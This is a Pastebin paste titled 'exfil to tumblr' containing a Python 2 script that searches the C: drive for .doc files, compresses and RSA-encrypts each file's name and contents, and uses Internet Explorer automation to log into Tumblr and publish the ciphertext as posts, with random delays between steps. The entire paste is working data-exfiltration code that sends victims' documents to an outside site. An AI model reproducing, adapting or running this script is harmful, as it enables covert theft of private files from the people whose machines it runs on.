joshfokis

exfil to tumblr

Dec 19th, 2014
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.50 KB | None | 0 0
  1. import win32com.client
  2. import os
  3. import fnmatch
  4. import time
  5. import random
  6. import zlib
  7.  
  8. from Crypto.PublicKey import RSA
  9. from Crypto.Cipher import PKCS1_OAEP
  10.  
  11. doc_type   = ".doc"
  12. username = "username"
  13. password = "password"
  14.  
  15. public_key = """-----BEGIN PUBLIC KEY-----
  16. insert key here
  17. -----END PUBLIC KEY-----"""
  18.  
  19.  
  20. def wait_for_browser(browser):
  21.  
  22.     while browser.ReadyState != 4 and browser.ReadyState != "complete":
  23.         time.sleep(0.1)
  24.  
  25.     return
  26.  
  27.  
  28. def encrypt_string(plaintext):
  29.  
  30.     chunk_size = 256
  31.    
  32.     print "Compressing: %d bytes" % len(plaintext)
  33.    
  34.     plaintext = zlib.compress(plaintext)
  35.  
  36.     print "Encrypting %d bytes" % len(plaintext)
  37.  
  38.     rsakey = RSA.importKey(public_key)
  39.     rsakey = PKCS1_OAEP.new(rsakey)
  40.  
  41.     encrypted = ""
  42.     offset = 0
  43.  
  44.     while offset < len(plaintext):
  45.  
  46.         chunk = plaintext[offset:offset+256]
  47.  
  48.         if len(chunk) % chunk_size != 0:
  49.             chunk += " " * (chunk_size - len(chunk))
  50.  
  51.         encrypted += rsakey.encrypt(chunk)
  52.         offset += chunk_size
  53.  
  54.     encrypted = encrypted.encode("base64")
  55.  
  56.     print "Base64 encoded crypto: %d" % len(encrypted)
  57.  
  58.     return encrypted
  59.  
  60.  
  61. def encrypt_post(filename):
  62.  
  63.     fd = open(filename, "rb")
  64.     contents = fd.read()
  65.     fd.close()
  66.  
  67.     encrypted_title = encrypt_string(filename)
  68.     encrypted_body = encrypt_string(contents)
  69.  
  70.     return encrypted_title, encrypted_body
  71.  
  72.  
  73. def random_sleep():
  74.     time.sleep(random.randint(5, 10))
  75.     return
  76.  
  77.  
  78. def login_to_tumblr(ie):
  79.  
  80.     full_doc = ie.Document.all
  81.  
  82.     for i in full_doc:
  83.         if i.id == "signup_email":
  84.             i.setAttribute("Value", username)
  85.         elif i.id == "signup_password":
  86.             i.setAttribute("value", password)
  87.  
  88.     random_sleep()
  89.  
  90.     try:
  91.         if ie.Document.forms[0].id == "signup_form":
  92.             ie.Document.forms[0].submit()
  93.         else:
  94.             ie.Document.forms[1].submit()
  95.  
  96.     except IndexError, e:
  97.         pass
  98.  
  99.     random_sleep()
  100.  
  101.     wait_for_browser(ie)
  102.  
  103.     return
  104.  
  105.  
  106. def post_to_tumblr(ie, title, post):
  107.  
  108.     full_doc = ie.Document.all
  109.  
  110.     for i in full_doc:
  111.         if i.id == "post_one":
  112.             i.setAttribute("value", title)
  113.             title_box = i
  114.             i.focus()
  115.         elif i.id == "post_two":
  116.             i.setAttribute("innerHTML", post)
  117.             print "Set text area"
  118.             i.focus()
  119.         elif i.id == "create_post":
  120.             print "Found post button"
  121.             post_form = i
  122.             i.focus()
  123.  
  124.     random_sleep()
  125.     title_box.focus()
  126.     random_sleep()
  127.  
  128.     post_form.children[0].click()
  129.     wait_for_browser(ie)
  130.  
  131.     random_sleep()
  132.  
  133.     return
  134.  
  135.  
  136. def exfiltrate(document_path):
  137.  
  138.     ie = win32com.client.Dispatch("InternetExplorer.Application")
  139.     ie.Visible = 1
  140.  
  141.     ie.Navigate("http://www.tumblr.com/login")
  142.     wait_for_browser(ie)
  143.  
  144.     print "Loging in..."
  145.     login_to_tumblr(ie)
  146.     print "Logged in...navigating"
  147.  
  148.     ie.Navigate("https://www.tumblr.com/new/text")
  149.     wait_for_browser(ie)
  150.  
  151.     title, body = encrypt_post(document_path)
  152.  
  153.     print "Creating new post..."
  154.     post_to_tumblr(ie, title, body)
  155.     print "Posted!"
  156.  
  157.     ie.Quit()
  158.     ie = None
  159.  
  160.     return
  161.  
  162. for parent, directories, filenames in os.walk("C:\\"):
  163.     for filename in fnmatch.filter(filenames, "*%s" % doc_type):
  164.         document_path = os.path.join(parent, filename)
  165.         print "Found: %s" % document_path
  166.         exfiltrate(document_path)
  167.         input('Continue? ')
Advertisement
Add Comment
Please, Sign In to add comment